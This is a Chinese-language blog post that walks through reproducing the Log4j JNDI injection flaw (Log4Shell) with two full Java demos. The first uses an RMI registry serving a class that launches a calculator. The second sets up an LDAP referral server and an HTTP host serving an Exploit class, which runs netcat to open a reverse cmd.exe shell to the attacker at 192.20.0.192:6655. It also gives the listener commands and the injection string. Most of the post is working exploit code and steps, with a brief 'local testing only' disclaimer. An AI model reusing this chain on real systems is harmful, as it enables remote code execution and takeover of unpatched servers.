漏洞说明:
前端时间 出现这个漏洞,各大公司 安全部都去做相应的防护和修复措施,网上公开漏洞 poc 源码很少,只听到有,但是不知道怎么复现,于是在github 上搜索找了很多的源码,都不能复现。因为不是很懂这个漏洞的攻击原理。然后就静下心来看了好多相关的文章,于是就写了代码来复现这个过程。
郑重说明:请将代码用于本地测试,研究,不要用于非法用途。 第一个Demo:开发工具:
1. Intellij IDEA
下载连接:http:// Download IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrains
2. jre-8u91-windows-x64
链接:https://pan.baidu.com/s/1D-uz1LRVDVmu_FGtjSWL_w 提取码:qrnx
jre 说明:我这里直接使用的是jre , 解压 配置环境变量就能用,要比jdk 方便,jdk 就是需要安装,在配置环境变量的,
使用java 远程代码执行框架 rmi 来复现 Log4j 的漏洞;
整个工程是一个java Maven 工程,主要有3个类。
第一步:首先在本地起一个RMIServer 服务,代码如下:
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) { try { // 本地主机上的远程对象注册表Registry的实例,默认端口1099 LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099"); //返回的Java对象 Reference reference = new Reference("EvilCode","EvilCode",null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); // 把远程对象注册到RMI注册服务器上,并命名为evil registry.bind("evil",referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
第二步:应该从上面的代码中可以看到用到了反射 ,去反射了一个 EvilCode 类,那我们就创建这个类,其实这个类就是一个恶意的java 类对象,里面执行了打开本地 计算器,代码如下:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class EvilCode { static { System.out.println("受害服务器将执行下面命令行"); Process p; String[] cmd = {"calc"}; try { p = Runtime.getRuntime().exec(cmd); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = null; while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } }
第三步:就是创建一个类去执行,可以把这个类当作被攻击机,这个漏洞的原理我就不解释了,现在网上也有很多的文章说明,我就不赘述了。代码如下:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { //有些高版本jdk需要打开此行代码 //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1 String username = "${jndi:rmi://127.0.0.1:1099/evil}"; //正常打印业务日志 logger.error("username:{}",username); } }
这样子这个代码就完成了,我们来看看效果,想看调用堆栈的,可以用debug 来运行,在
logger.error("username:{}",username); 这个行下一个断点,F7 进入里面 ,就能看到里面怎么调用,怎么利用的.源码下载:https://pan.baidu.com/s/1m73eLXOQ7ihZ0RNcpsAv6g
提取码:2sr1 第二个Demo:
开发工具:
1. Intellij IDEA
下载连接:http:// Download IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrains
2. phpstudy
Windows版phpstudy下载 - 小皮面板(phpstudy) 下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy)
3. jre-8u91-windows-x64
链接:https://pan.baidu.com/s/1D-uz1LRVDVmu_FGtjSWL_w 提取码:qrnx
说明:第二个demo 对jdk 的版本有要求,需要低于 1.8_121 以下的版本,所以我java 环境里面选用的是 91的版本。
4. netCat 简称nc 用做反d shell
链接:https://pan.baidu.com/s/1jUGgeP32g1QoKS16tqL1AA
提取码:988x
不会的玩的自行百度,这里只用到两条命令;
// 攻击机 nc -lvp 6655 // 被攻击机 nc 攻击机ip 6655 -e C:windowssystem32cmd.exe 反d成功之后,会再攻击上显示被攻击机的磁盘目录
这种要比第一种玩法高级,用 ldap 来实现的, ldap 可以理解为一个数据目录,首先要感谢以下B站的一个作者,这里看不懂的可以去看看B站的视频,也讲了修复方法。
链接:Log4j高危漏洞!“漏洞复现”,全网第一!包含【修复】持续更新~_哔哩哔哩_bilibili
我在博主的代码基础上加了一个 shell 反d,将代码用两台window 电脑来 *** 作复现漏洞,这里再次强调,不要用于非法用途,请遵守国家网络安全法律法规。
环境搭建: 这里 跳过了 Intellij IDEA 的安装 和 jdk 环境变量的配置,不会的自行百度,这是Java 开发的基础。
攻击机上的 *** 作:首先我们看一下攻击机的代码:创建一个 LDAPRefServer 的服务。
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LDAPRefServer { private static final String LDAP_base = "dc=example,dc=com"; private static final String EXPLOIT_CLASS_URL = "http://192.20.0.192:80/#Exploit"; public static void main(String[] args) { int port = 7912; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getbaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { try { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Calc"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodebase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }catch (Exception er){ System.out.println("========sendResult======="+er.getMessage()); } } } }
这里需要说明的, Exploit.class 这个文件在那台电脑上,就将那台电脑的 ip 填写在如下代码 位置
private static final String EXPLOIT_CLASS_URL = "http://192.20.11.192:80/#Exploit";
再创建一个 Exploit
import java.io.IOException; public class Exploit { static { try { // Runtime.getRuntime().exec("calc"); Runtime.getRuntime().exec("D:\InstallPackage\netcat-win32-1.12\nc.exe 192.20.0.192 6655 -e c:\windows\system32\cmd.exe "); } catch (IOException e) { e.printStackTrace(); } } }
这里需要修改的是 当前你自己的 nc 路径,和本机的 ip. , 大家可能对这个ip 不理解,就是 将其另一台电脑的目录反d给自己。
攻击机的代码完成了,编译生成class. 文件,我们可以把 .class 称为恶意脚本。
我们配置好jdk 环境变量的就可以用cmd 来编译 java 文件了,我们cd 到 Exploit.java 的目录
执行如下命令:就编译生成一个 Exploit.class 文件。
javac Exploit.java
接下来:运行小皮,点击 首页 ,开启一个 http server 的 80端口 的服务。
在打开 网站 点击 管理 ,选在 打开目录, 将上面 生成的 Exploit.class 放在目录里面
再打开一个 cmd 数据 攻击机 的 端口 监听 nc -lvp 6655
受害机上的 *** 作:
代码很简单,就是用Log4 的 error 来输出
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4J { private static final Logger logger = LogManager.getLogger(Log4J.class); public static void main(String[] args) { logger.error("${jndi:ldap://192.20.0.192:7912/test}"); } }
结果会在我们自己的 电脑上显示受害机的目录:
我们输入 dir 就能查看对方的磁盘目录。
源码下载: 链接:https://pan.baidu.com/s/1J8fAtmWWvpnexXMxJ3Nugg提取码:ahpg 总结:这只是Log4j 这个漏洞的利用的冰山一角,想想都可怕,希望看到的早做修复。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)